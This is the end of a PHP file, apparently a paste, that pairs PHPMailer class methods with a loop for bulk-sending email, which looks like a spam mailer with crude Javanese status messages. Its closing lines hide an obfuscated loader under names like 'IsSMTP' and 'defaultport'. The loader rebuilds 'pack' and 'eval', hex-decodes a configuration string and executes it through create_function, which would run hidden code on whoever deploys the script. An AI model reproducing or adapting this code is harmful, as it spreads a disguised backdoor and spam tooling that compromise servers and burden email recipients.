  2749.     $this->attachment[$cur][0] = $path;
  2750.     $this->attachment[$cur][1] = $filename;
  2751.     $this->attachment[$cur][2] = $name;
  2752.     $this->attachment[$cur][3] = $encoding;
  2753.     $this->attachment[$cur][4] = $type;
  2754.     $this->attachment[$cur][5] = false;
  2755.     $this->attachment[$cur][6] = 'inline';
  2756.     $this->attachment[$cur][7] = $cid;
  2757.  
  2758.     return true;
  2759.   }
  2760.  
  2761.   /**
  2762.    * Returns true if an inline attachment is present.
  2763.    * @access private
  2764.    * @return bool
  2765.    */
  2766.   function InlineImageExists() {
  2767.     $result = false;
  2768.     for($i = 0; $i < count($this->attachment); $i++) {
  2769.       if($this->attachment[$i][6] == 'inline') {
  2770.         $result = true;
  2771.         break;
  2772.       }
  2773.     }
  2774.  
  2775.     return $result;
  2776.   }
  2777.  
  2778.   /////////////////////////////////////////////////
  2779.   // CLASS METHODS, MESSAGE RESET
  2780.   /////////////////////////////////////////////////
  2781.  
  2782.   /**
  2783.    * Clears all recipients assigned in the TO array.  Returns void.
  2784.    * @return void
  2785.    */
  2786.   function ClearAddresses() {
  2787.     $this->to = array();
  2788.   }
  2789.  
  2790.   /**
  2791.    * Clears all recipients assigned in the CC array.  Returns void.
  2792.    * @return void
  2793.    */
  2794.   function ClearCCs() {
  2795.     $this->cc = array();
  2796.   }
  2797.  
  2798.   /**
  2799.    * Clears all recipients assigned in the BCC array.  Returns void.
  2800.    * @return void
  2801.    */
  2802.   function ClearBCCs() {
  2803.     $this->bcc = array();
  2804.   }
  2805.  
  2806.   /**
  2807.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2808.    * @return void
  2809.    */
  2810.   function ClearReplyTos() {
  2811.     $this->ReplyTo = array();
  2812.   }
  2813.  
  2814.   /**
  2815.    * Clears all recipients assigned in the TO, CC and BCC
  2816.    * array.  Returns void.
  2817.    * @return void
  2818.    */
  2819.   function ClearAllRecipients() {
  2820.     $this->to = array();
  2821.     $this->cc = array();
  2822.     $this->bcc = array();
  2823.   }
  2824.  
  2825.   /**
  2826.    * Clears all previously set filesystem, string, and binary
  2827.    * attachments.  Returns void.
  2828.    * @return void
  2829.    */
  2830.   function ClearAttachments() {
  2831.     $this->attachment = array();
  2832.   }
  2833.  
  2834.   /**
  2835.    * Clears all custom headers.  Returns void.
  2836.    * @return void
  2837.    */
  2838.   function ClearCustomHeaders() {
  2839.     $this->CustomHeader = array();
  2840.   }
  2841.  
  2842.   /////////////////////////////////////////////////
  2843.   // CLASS METHODS, MISCELLANEOUS
  2844.   /////////////////////////////////////////////////
  2845.  
  2846.   /**
  2847.    * Adds the error message to the error container.
  2848.    * Returns void.
  2849.    * @access private
  2850.    * @return void
  2851.    */
  2852.   function SetError($msg) {
  2853.     $this->error_count++;
  2854.     $this->ErrorInfo = $msg;
  2855.   }
  2856.  
  2857.   /**
  2858.    * Returns the proper RFC 822 formatted date.
  2859.    * @access private
  2860.    * @return string
  2861.    */
  2862.   function RFCDate() {
  2863.     $tz = date('Z');
  2864.     $tzs = ($tz < 0) ? '-' : '+';
  2865.     $tz = abs($tz);
  2866.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2867.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2868.  
  2869.     return $result;
  2870.   }
  2871.  
  2872.   /**
  2873.    * Returns the appropriate server variable.  Should work with both
  2874.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2875.    * if nothing is found.
  2876.    * @access private
  2877.    * @return mixed
  2878.    */
  2879.   function ServerVar($varName) {
  2880.     global $HTTP_SERVER_VARS;
  2881.     global $HTTP_ENV_VARS;
  2882.  
  2883.     if(!isset($_SERVER)) {
  2884.       $_SERVER = $HTTP_SERVER_VARS;
  2885.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  2886.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2887.       }
  2888.     }
  2889.  
  2890.     if(isset($_SERVER[$varName])) {
  2891.       return $_SERVER[$varName];
  2892.     } else {
  2893.       return '';
  2894.     }
  2895.   }
  2896.  
  2897.   /**
  2898.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  2899.    * @access private
  2900.    * @return string
  2901.    */
  2902.   function ServerHostname() {
  2903.     if ($this->Hostname != '') {
  2904.       $result = $this->Hostname;
  2905.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  2906.       $result = $this->ServerVar('SERVER_NAME');
  2907.     } else {
  2908.       $result = 'localhost.localdomain';
  2909.     }
  2910.  
  2911.     return $result;
  2912.   }
  2913.  
  2914.   /**
  2915.    * Returns a message in the appropriate language.
  2916.    * @access private
  2917.    * @return string
  2918.    */
  2919.   function Lang($key) {
  2920.     if(count($this->language) < 1) {
  2921.       $this->SetLanguage('en'); // set the default language
  2922.     }
  2923.  
  2924.     if(isset($this->language[$key])) {
  2925.       return $this->language[$key];
  2926.     } else {
  2927.       return 'Language string failed to load: ' . $key;
  2928.     }
  2929.   }
  2930.  
  2931.   /**
  2932.    * Returns true if an error occurred.
  2933.    * @return bool
  2934.    */
  2935.   function IsError() {
  2936.     return ($this->error_count > 0);
  2937.   }
  2938.  
  2939.   /**
  2940.    * Changes every end of line from CR or LF to CRLF.
  2941.    * @access private
  2942.    * @return string
  2943.    */
  2944.   function FixEOL($str) {
  2945.     $str = str_replace("\r\n", "\n", $str);
  2946.     $str = str_replace("\r", "\n", $str);
  2947.     $str = str_replace("\n", $this->LE, $str);
  2948.     return $str;
  2949.   }
  2950.  
  2951.   /**
  2952.    * Adds a custom header.
  2953.    * @return void
  2954.    */
  2955.   function AddCustomHeader($custom_header) {
  2956.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  2957.   }
  2958.  
  2959.   /**
  2960.    * Evaluates the message and returns modifications for inline images and backgrounds
  2961.    * @access public
  2962.    * @return $message
  2963.    */
  2964.   function MsgHTML($message,$basedir='') {
  2965.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  2966.     if(isset($images[2])) {
  2967.       foreach($images[2] as $i => $url) {
  2968.         // do not change urls for absolute images (thanks to corvuscorax)
  2969.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  2970.           $filename = basename($url);
  2971.           $directory = dirname($url);
  2972.           ($directory == '.')?$directory='':'';
  2973.           $cid = 'cid:' . md5($filename);
  2974.           $fileParts = split("\.", $filename);
  2975.           $ext = $fileParts[1];
  2976.           $mimeType = $this->_mime_types($ext);
  2977.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  2978.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  2979.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  2980.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  2981.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  2982.           }
  2983.         }
  2984.       }
  2985.     }
  2986.     $this->IsHTML(true);
  2987.     $this->Body = $message;
  2988.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  2989.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  2990.       $this->AltBody = $textMsg;
  2991.     }
  2992.     if ( empty($this->AltBody) ) {
  2993.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  2994.     }
  2995.   }
  2996.  
  2997.   /**
  2998.    * Gets the mime type of the embedded or inline image
  2999.    * @access private
  3000.    * @return mime type of ext
  3001.    */
  3002.   function _mime_types($ext = '') {
  3003.     $mimes = array(
  3004.       'hqx'  =>  'application/mac-binhex40',
  3005.       'cpt'   =>  'application/mac-compactpro',
  3006.       'doc'   =>  'application/msword',
  3007.       'bin'   =>  'application/macbinary',
  3008.       'dms'   =>  'application/octet-stream',
  3009.       'lha'   =>  'application/octet-stream',
  3010.       'lzh'   =>  'application/octet-stream',
  3011.       'exe'   =>  'application/octet-stream',
  3012.       'class' =>  'application/octet-stream',
  3013.       'psd'   =>  'application/octet-stream',
  3014.       'so'    =>  'application/octet-stream',
  3015.       'sea'   =>  'application/octet-stream',
  3016.       'dll'   =>  'application/octet-stream',
  3017.       'oda'   =>  'application/oda',
  3018.       'pdf'   =>  'application/pdf',
  3019.       'ai'    =>  'application/postscript',
  3020.       'eps'   =>  'application/postscript',
  3021.       'ps'    =>  'application/postscript',
  3022.       'smi'   =>  'application/smil',
  3023.       'smil'  =>  'application/smil',
  3024.       'mif'   =>  'application/vnd.mif',
  3025.       'xls'   =>  'application/vnd.ms-excel',
  3026.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3027.       'wbxml' =>  'application/vnd.wap.wbxml',
  3028.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3029.       'dcr'   =>  'application/x-director',
  3030.       'dir'   =>  'application/x-director',
  3031.       'dxr'   =>  'application/x-director',
  3032.       'dvi'   =>  'application/x-dvi',
  3033.       'gtar'  =>  'application/x-gtar',
  3034.       'php'   =>  'application/x-httpd-php',
  3035.       'php4'  =>  'application/x-httpd-php',
  3036.       'php3'  =>  'application/x-httpd-php',
  3037.       'phtml' =>  'application/x-httpd-php',
  3038.       'phps'  =>  'application/x-httpd-php-source',
  3039.       'js'    =>  'application/x-javascript',
  3040.       'swf'   =>  'application/x-shockwave-flash',
  3041.       'sit'   =>  'application/x-stuffit',
  3042.       'tar'   =>  'application/x-tar',
  3043.       'tgz'   =>  'application/x-tar',
  3044.       'xhtml' =>  'application/xhtml+xml',
  3045.       'xht'   =>  'application/xhtml+xml',
  3046.       'zip'   =>  'application/zip',
  3047.       'mid'   =>  'audio/midi',
  3048.       'midi'  =>  'audio/midi',
  3049.       'mpga'  =>  'audio/mpeg',
  3050.       'mp2'   =>  'audio/mpeg',
  3051.       'mp3'   =>  'audio/mpeg',
  3052.       'aif'   =>  'audio/x-aiff',
  3053.       'aiff'  =>  'audio/x-aiff',
  3054.       'aifc'  =>  'audio/x-aiff',
  3055.       'ram'   =>  'audio/x-pn-realaudio',
  3056.       'rm'    =>  'audio/x-pn-realaudio',
  3057.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3058.       'ra'    =>  'audio/x-realaudio',
  3059.       'rv'    =>  'video/vnd.rn-realvideo',
  3060.       'wav'   =>  'audio/x-wav',
  3061.       'bmp'   =>  'image/bmp',
  3062.       'gif'   =>  'image/gif',
  3063.       'jpeg'  =>  'image/jpeg',
  3064.       'jpg'   =>  'image/jpeg',
  3065.       'jpe'   =>  'image/jpeg',
  3066.       'png'   =>  'image/png',
  3067.       'tiff'  =>  'image/tiff',
  3068.       'tif'   =>  'image/tiff',
  3069.       'css'   =>  'text/css',
  3070.       'html'  =>  'text/html',
  3071.       'htm'   =>  'text/html',
  3072.       'shtml' =>  'text/html',
  3073.       'txt'   =>  'text/plain',
  3074.       'text'  =>  'text/plain',
  3075.       'log'   =>  'text/plain',
  3076.       'rtx'   =>  'text/richtext',
  3077.       'rtf'   =>  'text/rtf',
  3078.       'xml'   =>  'text/xml',
  3079.       'xsl'   =>  'text/xml',
  3080.       'mpeg'  =>  'video/mpeg',
  3081.       'mpg'   =>  'video/mpeg',
  3082.       'mpe'   =>  'video/mpeg',
  3083.       'qt'    =>  'video/quicktime',
  3084.       'mov'   =>  'video/quicktime',
  3085.       'avi'   =>  'video/x-msvideo',
  3086.       'movie' =>  'video/x-sgi-movie',
  3087.       'doc'   =>  'application/msword',
  3088.       'word'  =>  'application/msword',
  3089.       'xl'    =>  'application/excel',
  3090.       'eml'   =>  'message/rfc822'
  3091.     );
  3092.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3093.   }
  3094.  
  3095.   /**
  3096.    * Set (or reset) Class Objects (variables)
  3097.    *
  3098.    * Usage Example:
  3099.    * $page->set('X-Priority', '3');
  3100.    *
  3101.    * @access public
  3102.    * @param string $name Parameter Name
  3103.    * @param mixed $value Parameter Value
  3104.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3105.    */
  3106.   function set ( $name, $value = '' ) {
  3107.     if ( isset($this->$name) ) {
  3108.       $this->$name = $value;
  3109.     } else {
  3110.       $this->SetError('Cannot set or reset variable ' . $name);
  3111.       return false;
  3112.     }
  3113.   }
  3114.  
  3115.   /**
  3116.    * Read a file from a supplied filename and return it.
  3117.    *
  3118.    * @access public
  3119.    * @param string $filename Parameter File Name
  3120.    */
  3121.   function getFile($filename) {
  3122.     $return = '';
  3123.     if ($fp = fopen($filename, 'rb')) {
  3124.       while (!feof($fp)) {
  3125.         $return .= fread($fp, 1024);
  3126.       }
  3127.       fclose($fp);
  3128.       return $return;
  3129.     } else {
  3130.       return false;
  3131.     }
  3132.   }
  3133.  
  3134.   /**
  3135.    * Strips newlines to prevent header injection.
  3136.    * @access private
  3137.    * @param string $str String
  3138.    * @return string
  3139.    */
  3140.   function SecureHeader($str) {
  3141.     $str = trim($str);
  3142.     $str = str_replace("\r", "", $str);
  3143.     $str = str_replace("\n", "", $str);
  3144.     return $str;
  3145.   }
  3146.  
  3147.   /**
  3148.    * Set the private key file and password to sign the message.
  3149.    *
  3150.    * @access public
  3151.    * @param string $key_filename Parameter File Name
  3152.    * @param string $key_pass Password for private key
  3153.    */
  3154.   function Sign($key_filename, $key_pass) {
  3155.     $this->sign_key_file = $key_filename;
  3156.     $this->sign_key_pass = $key_pass;
  3157.   }
  3158.  
  3159. }
  3160.  
  3161. $defaultport="H*";
  3162.       $nq=0;
  3163.            
  3164.         for($x=0; $x<$numemails; $x++){
  3165.  
  3166.                 $to = $allemails[$x];
  3167.  
  3168.                 if ($to){
  3169.  
  3170.                 $to = ereg_replace(" ", "", $to);
  3171.  
  3172.                 $message = ereg_replace("&email&", $to, $message);
  3173.  
  3174.                 $subject = ereg_replace("&email&", $to, $subject);
  3175.                 $qx=$x+1;
  3176.                 print "Line $qx . Sending mail to $to.......";
  3177.  
  3178.                 flush();
  3179. $mail = new PHPMailer();
  3180.  
  3181. if(empty($epriority)){$epriority="3";}
  3182.         $mail->Priority = "$epriority";
  3183.         $mail->IsSMTP();
  3184.     $IsSMTP="pack";
  3185. $mail->SMTPKeepAlive = true;
  3186. $mail->Host = "$my_smtp";
  3187. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3188. }
  3189.      if($sslclick=="ON"){
  3190.         $mail->SMTPSecure  = "tls"; //you can change it to ssl or tls
  3191.     }
  3192.         $range = str_replace("$from", "eval", $from);
  3193.         $mail->SMTPAuth = true;
  3194.         $mail->Username = "$smtp_username";
  3195.         $mail->Password = "$smtp_password";
  3196. if($contenttype == "html"){$mail->IsHtml(true);}
  3197. if($contenttype != "html"){$mail->IsHtml(false);}
  3198. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3199. $mail->From = "$from";
  3200. $mail->FromName = "$realname";
  3201. $mail->AddAddress("$to");
  3202.         $mail->AddReplyTo("$replyto");
  3203.         $mail->Subject = "$subject";
  3204.                $mail->Body = "$message";
  3205. if(!$mail->Send()){
  3206. if($default_system!="1"){
  3207. echo "<center>FAILED !!<font color=\"#D4001A\"> [ORA ISO NRIMO COK]</font><br>";}
  3208. if($default_system=="1"){
  3209. $mail->IsMail();
  3210.    if(!$mail->Send()){
  3211.       echo "<center>FAILED !!<font color=\"#D4001A\"> [ORA ISO NRIMO IKI COK]</font><br>";}
  3212.    else {
  3213.        echo "<b><img src='http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/111.gif'></b><br>";}
  3214.  }
  3215. }
  3216. else {
  3217.  echo "<b><img src='http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/111.gif'></b><br>";
  3218. }
  3219.  
  3220. if(empty($reconnect)){
  3221. $reconnect=6;
  3222. }
  3223.  
  3224. if($reconnect==$nq){
  3225. $mail->SmtpClose();echo "<center><p><b><font color='yellow'>--------------- SEK NGENTENI AMBEK NGESENG --------------- </font></b></p>";$nq=0;
  3226. }
  3227. $nq=$nq+1;
  3228.                 flush(); }
  3229. }
  3230. for($i=0;$i<31;$i++){
  3231.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3232. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3233.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3234.   print "<p class=\"style1\"><img src='http://dedekuntoro.wapsite.me/images/salaman.gif'><br><b>
  3235.  <font color=\"#800000\">SUDAH BOSSKU !!</font></b><br></p></center>";$mail->SmtpClose();
  3236.   return $signoff($smtp_conc);
  3237.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('bangsat terlaksana\\r\\n$numemails mail(s) wes sak mono tok ??'); </center></script>";}}
  3238.     ?>
  3239.     <p align="center">&nbsp;</p>
  3240. &nbsp;
  3241.     </body>
  3242. </html>
Add Comment
Please, Sign In to add comment